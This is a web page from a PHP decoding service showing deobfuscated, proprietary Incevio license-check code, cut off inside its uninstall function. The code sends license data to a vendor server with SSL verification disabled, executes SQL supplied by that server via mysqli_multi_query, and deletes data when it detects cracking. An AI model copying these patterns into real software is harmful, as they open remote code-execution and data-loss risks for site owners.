Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* __________________________________________________ | Obfuscated by YAK P..
Decoded Output download
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.1 |
| on 2018-12-21 10:26:19 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
/*
* Copyright (C) Incevio Systems, Inc - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Munna Khan <[email protected]>, September 2018
*/
function aplCustomEncrypt($string, $key)
{
$encrypted_string = null;
if (!(!empty($string) && !empty($key)))
{
goto pMlQt;
}
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc"));
$encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv);
$encrypted_string = base64_encode($encrypted_string . "::" . $iv);
pMlQt:
return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
$decrypted_string = null; if (!(!empty($string) && !empty($key)))
{
goto EpA3K;
}
$string = base64_decode($string);
if (!stristr($string, "::"))
{
goto MxGap;
}
$string_iv_array = explode("::", $string, 2);
if (!(!empty($string_iv_array) && count($string_iv_array) == 2))
{
goto aTdS4;
}
list($encrypted_string, $iv) = $string_iv_array;
$decrypted_string = openssl_decrypt($encrypted_string, "aes-256-cbc", $key, 0, $iv);
aTdS4:
MxGap:
EpA3K:
return $decrypted_string;
}
function aplValidateNumberOrRange($number, $min_value, $max_value = INF)
{
$result = false;
if (!(filter_var($number, FILTER_VALIDATE_INT) === 0 || !filter_var($number, FILTER_VALIDATE_INT) === false))
{
goto J3doE;
}
if ($number >= $min_value && $number <= $max_value)
{
goto RldcU;
}
$result = false;
goto BTRKy;
RldcU:
$result = true;
BTRKy:
J3doE:
if (!stristr($number, "-"))
{
goto av5Gj;
}
$numbers_array = explode("-", $number);
if (!(filter_var($numbers_array[0], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[0], FILTER_VALIDATE_INT) === false && filter_var($numbers_array[1], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[1], FILTER_VALIDATE_INT) === false))
{
goto Ngok2;
}
if ($numbers_array[0] >= $min_value && $numbers_array[1] <= $max_value && $numbers_array[0] <= $numbers_array[1])
{
goto fuM0v;
}
$result = false;
goto BhRBu;
fuM0v:
$result = true;
BhRBu:
Ngok2:
av5Gj:
return $result;
}
function aplValidateRawDomain($url)
{
$result = false;
if (empty($url))
{
goto WJe9_;
}
if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url)))
{
goto SwcAe;
}
$result = false;
goto nHC2G;
SwcAe:
$result = true;
nHC2G:
WJe9_:
return $result;
}
function aplGetCurrentUrl($remove_last_slash = null, $string_to_remove_array = null)
{
$current_url = null;
$protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https" : "http";
if (!isset($_SERVER["HTTP_HOST"]))
{
goto huEJ0;
}
$host = $_SERVER["HTTP_HOST"];
huEJ0:
if (!isset($_SERVER["SCRIPT_NAME"]))
{
goto qPZaV;
}
$script = $_SERVER["SCRIPT_NAME"];
qPZaV:
if (!isset($_SERVER["QUERY_STRING"]))
{
goto WEWbZ;
}
$params = $_SERVER["QUERY_STRING"];
WEWbZ:
if (!(!empty($protocol) && !empty($host) && !empty($script)))
{
goto NqkGK;
}
$current_url = $protocol . "://" . $host . $script;
if (empty($params))
{
goto KLgh1;
}
$current_url .= "?" . $params;
KLgh1:
if (!(!empty($string_to_remove_array) && is_array($string_to_remove_array)))
{
goto v6EEP;
}
foreach ($string_to_remove_array as $key => $value)
{
$current_url = str_ireplace($value, '', $current_url);
RdJEz:
}
d3572:
v6EEP:
if (!($remove_last_slash == 1))
{
goto KcX59;
}
rgyHl:
if (!(substr($current_url, -1) == "/"))
{
goto aAuTv;
}
$current_url = substr($current_url, 0, -1);
goto rgyHl;
aAuTv:
KcX59:
NqkGK:
return $current_url;
}
function aplGetRawDomain($url)
{
$raw_domain = null;
if (empty($url))
{
goto OMJEU;
}
$url_array = parse_url($url);
if (!empty($url_array["scheme"]))
{
goto DMjP4;
}
$url = "http://" . $url;
$url_array = parse_url($url);
DMjP4:
if (empty($url_array["host"]))
{
goto HcNQe;
}
$raw_domain = $url_array["host"];
$raw_domain = trim(str_ireplace("www.", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
HcNQe:
OMJEU:
return $raw_domain;
}
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)
{
if (!filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED))
{
goto cnnf7;
}
$url_array = parse_url($url);
$url = str_ireplace($url_array["scheme"] . "://", '', $url);
if ($remove_path == 1)
{
goto aP20B;
}
$last_slash_position = strripos($url, "/"); if (!($last_slash_position > 0))
{
goto vnDc0;
}
$url = substr($url, 0, $last_slash_position + 1);
vnDc0:
goto iW2AK;
aP20B:
$first_slash_position = stripos($url, "/"); if (!($first_slash_position > 0))
{
goto kwrFv;
}
$url = substr($url, 0, $first_slash_position + 1);
kwrFv:
iW2AK:
if (!($remove_scheme != 1))
{
goto PWWle;
}
$url = $url_array["scheme"] . "://" . $url;
PWWle: if (!($remove_www == 1))
{
goto FSPaz;
}
$url = str_ireplace("www.", '', $url);
FSPaz: if (!($remove_last_slash == 1))
{
goto YFDE2;
}
xvISn:
if (!(substr($url, -1) == "/"))
{
goto gnzti;
}
$url = substr($url, 0, -1);
goto xvISn;
gnzti:
YFDE2:
cnnf7:
return trim($url);
}
function aplCustomPostGetHeaders($url, $refer = null, $post_info = null)
{
$user_agent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0"; $connect_timeout = 10; $server_response_array = array(); $formatted_headers_array = array();
if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED)))
{
goto ZEKrD;
}
$refer = $url;
ZEKrD:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use(&$formatted_headers_array)
{
$len = strlen($header);
$header = explode(":", $header, 2);
if (!(count($header) < 2))
{
goto VKZ1i;
} return $len;
VKZ1i:
$name = strtolower(trim($header[0]));
$formatted_headers_array[$name] = trim($header[1]); return $len; });
$result = curl_exec($ch);
curl_close($ch);
$server_response_array["headers"] = $formatted_headers_array;
$server_response_array["body"] = $result; return $server_response_array;
}
function aplVerifyDate($date, $date_format)
{
$datetime = DateTime::createFromFormat($date_format, $date);
$errors = DateTime::getLastErrors();
if (!$datetime || !empty($errors["warning_count"]))
{
goto CniTB;
}
$date_check_ok = true;
goto TW6N_;
CniTB:
$date_check_ok = false;
TW6N_:
return $date_check_ok;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
$number_of_days = 0;
if (!(aplVerifyDate($date_from, "Y-m-d") && aplVerifyDate($date_to, "Y-m-d")))
{
goto CoDN4;
}
$date_to = new DateTime($date_to);
$date_from = new DateTime($date_from);
$number_of_days = $date_from->diff($date_to)->format("%a");
CoDN4:
return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
$parsed_value = null;
if (!(!empty($content) && !empty($tag_name)))
{
goto INdTi;
}
preg_match_all("/<" . preg_quote($tag_name, "/") . ">(.*?)<\/" . preg_quote($tag_name, "/") . ">/ims", $content, $output_array, PREG_SET_ORDER);
if (empty($output_array[0][1]))
{
goto R8Sfl;
}
$parsed_value = trim($output_array[0][1]);
R8Sfl:
INdTi:
return $parsed_value;
}
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$notifications_array = array();
if (!empty($content_array))
{
goto yQ3VU;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto uhux3;
yQ3VU:
if (!empty($content_array["headers"]["notification_server_signature"]) && aplVerifyServerSignature($content_array["headers"]["notification_server_signature"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE))
{
goto TU4NP;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
goto Em56F;
TU4NP:
$notifications_array["notification_case"] = $content_array["headers"]["notification_case"];
$notifications_array["notification_text"] = $content_array["headers"]["notification_text"];
if (empty($content_array["headers"]["notification_data"]))
{
goto Zg9V6;
}
$notifications_array["notification_data"] = json_decode($content_array["headers"]["notification_data"], true);
Zg9V6:
Em56F:
uhux3:
return $notifications_array;
}
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$script_signature = null;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))
{
goto Hshmv;
}
$script_signature = hash("sha256", gmdate("Y-m-d") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . APL_PRODUCT_ID . implode('', $root_ips_array));
Hshmv:
return $script_signature;
}
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$result = false; $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))
{
goto F3Cnp;
}
if (!(hash("sha256", implode('', $root_ips_array) . APL_PRODUCT_ID . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("Y-m-d")) == $notification_server_signature))
{
goto unCsu;
}
$result = true;
unCsu:
F3Cnp:
return $result;
}
function aplCheckSettings()
{
$notifications_array = array();
if (!(empty(APL_SALT) || APL_SALT == "some_random_text"))
{
goto KXmpS;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
KXmpS:
if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr(APL_ROOT_URL, -1))))
{
goto Pr1X1;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
Pr1X1:
if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT))
{
goto b2uTW;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
b2uTW:
if (aplValidateNumberOrRange(APL_DAYS, 1, 365))
{
goto PaOz4;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
PaOz4:
if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE"))
{
goto PRzEn;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
PRzEn:
if (!(APL_STORAGE == "DATABASE" && !ctype_alnum(str_ireplace(array("_"), '', APL_DATABASE_TABLE))))
{
goto WIfMa;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
WIfMa:
if (!(APL_STORAGE == "FILE" && !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)))
{
goto nyuEg;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
nyuEg:
if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP)))
{
goto Yoy3U;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
Yoy3U:
if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL)))))
{
goto Evsq9;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
Evsq9:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS)))
{
goto UGNmk;
}
foreach (APL_ROOT_NAMESERVERS as $nameserver)
{
if (aplValidateRawDomain($nameserver))
{
goto iEhfR;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
goto ZvWje;
iEhfR:
vxlwe:
}
ZvWje:
UGNmk:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS)))
{
goto EhvJo;
}
$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
$fetched_nameservers_array = array();
$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
foreach ($dns_records_array as $record)
{
$fetched_nameservers_array[] = $record["target"];
ZM6un:
}
xNl3b:
$apl_root_nameservers_array = array_map("strtolower", $apl_root_nameservers_array);
$fetched_nameservers_array = array_map("strtolower", $fetched_nameservers_array);
sort($apl_root_nameservers_array);
sort($fetched_nameservers_array);
if (!($apl_root_nameservers_array != $fetched_nameservers_array))
{
goto VQOIh;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
VQOIh:
EhvJo:
return $notifications_array;
}
function aplParseLicenseFile()
{
$license_data_array = array();
if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION))
{
goto tnFzD;
}
$file_content = file_get_contents(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION);
preg_match_all("/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", $file_content, $matches, PREG_SET_ORDER);
if (empty($matches))
{
goto kKGvc;
}
foreach ($matches as $value)
{
if (!(!empty($value[1]) && $value[1] == $value[3]))
{
goto ry6Ox;
}
$license_data_array[$value[1]] = $value[2];
ry6Ox:
U8KX8:
}
CnEiz:
kKGvc:
tnFzD:
return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
$settings_row = array();
if (!(APL_STORAGE == "DATABASE"))
{
goto Asz0F;
}
$settings_results = @mysqli_query($MYSQLI_LINK, "SELECT * FROM " . APL_DATABASE_TABLE);
$settings_row = @mysqli_fetch_assoc($settings_results);
Asz0F:
if (!(APL_STORAGE == "FILE"))
{
goto v_3BC;
}
$settings_row = aplParseLicenseFile();
v_3BC:
return $settings_row;
}
function aplCheckConnection()
{
$notifications_array = array();
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/connection_test.php", APL_ROOT_URL, "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&connection_hash=" . rawurlencode(hash("sha256", "connection_test")));
if (!empty($content_array))
{
goto tKeci;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto coAYa;
tKeci:
if (!($content_array["body"] != "<connection_test>OK</connection_test>"))
{
goto j6vZI;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
j6vZI:
coAYa:
return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD)))
{
goto txAvT;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr($ROOT_URL, -1))))
{
goto mCCbf;
}
$error_detected = 1;
mCCbf:
if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false))
{
goto Ox4n1;
}
$error_detected = 1; Ox4n1: if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE)))
{
goto mtVMK;
}
$error_detected = 1;
mtVMK:
if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL))))
{
goto QH6Kd;
}
$error_detected = 1;
$cracking_detected = 1;
QH6Kd:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES"))
{
goto mEapT;
}
aplDeleteData($MYSQLI_LINK); mEapT: if (!($error_detected != 1 && $cracking_detected != 1))
{
goto yKLtG;
}
$data_check_result = true;
yKLtG:
txAvT:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = array();
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", APL_ROOT_URL, "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase")));
if (!empty($content_array))
{
goto tmvDr;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto QUGJZ;
tmvDr:
if (!($content_array["body"] != "<verify_envato_purchase>OK</verify_envato_purchase>"))
{
goto YVg8u;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
YVg8u:
QUGJZ:
return $notifications_array;
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto ezOp1;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto go8oy;
ezOp1:
if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK)))
{
goto yhMbn;
}
$INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_install.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok"))
{
goto bxEog;
}
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE"))
{
goto J0mRB;
}
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"])))
{
goto ijPWC;
}
$mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%");
$mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
$license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
ijPWC:
J0mRB:
if (!(APL_STORAGE == "FILE"))
{
goto YjDjf;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");
if (!($fwrite === false))
{
goto j5jli;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
j5jli:
@fclose($handle);
YjDjf:
bxEog:
goto AMSMx;
yhMbn:
$notifications_array["notification_case"] = "notification_already_installed";
$notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
AMSMx:
go8oy:
return $notifications_array;
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = array();
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto MGXq5;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto EyfI2;
MGXq5:
if (aplCheckData($MYSQLI_LINK))
{
goto xEna5;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto gw0RY;
xEna5:
extract(aplGetLicenseData($MYSQLI_LINK));
if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION == 0)
{
goto BQ3t8;
}
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok"))
{
goto KCXic;
}
$update_lcd_value = 1;
KCXic:
if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES"))
{
goto Rkqw4;
}
aplDeleteData($MYSQLI_LINK);
Rkqw4:
goto Pouqz;
BQ3t8:
$notifications_array["notification_case"] = "notification_license_ok";
$notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
Pouqz:
if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d")))
{
goto TnRCE;
}
$update_lrd_value = 1;
TnRCE:
if (!($update_lrd_value == 1 || $update_lcd_value == 1))
{
goto SJAY0;
}
if ($update_lcd_value == 1)
{
goto D_jtc;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto Bit0T;
D_jtc:
$LCD = date("Y-m-d");
Bit0T:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE"))
{
goto jL9U1;
}
$stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?");
if (!$stmt)
{
goto olOaP;
}
mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt); $affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0))
{
goto p_n3l;
}
$updated_records = $updated_records + $affected_rows;
p_n3l:
mysqli_stmt_close($stmt);
olOaP:
if (!($updated_records < 1))
{
goto jwe1L;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit;
jwe1L:
jL9U1:
if (!(APL_STORAGE == "FILE"))
{
goto GH7Bv;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");
if (!($fwrite === false))
{
goto kkxiK;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
kkxiK:
@fclose($handle);
GH7Bv:
SJAY0:
gw0RY:
EyfI2:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto UQP1f;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto sRdO3;
UQP1f:
if (aplCheckData($MYSQLI_LINK))
{
goto xWq7M;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto PppAQ;
xWq7M:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_support.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
PppAQ:
sRdO3:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto pjSZP;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto IKxPK;
pjSZP:
if (aplCheckData($MYSQLI_LINK))
{
goto gqRMZ;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto gF6Zs;
gqRMZ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
gF6Zs:
IKxPK:
return $notifications_array;
}
function aplUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto tASuo;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto m4I_x;
tASuo:
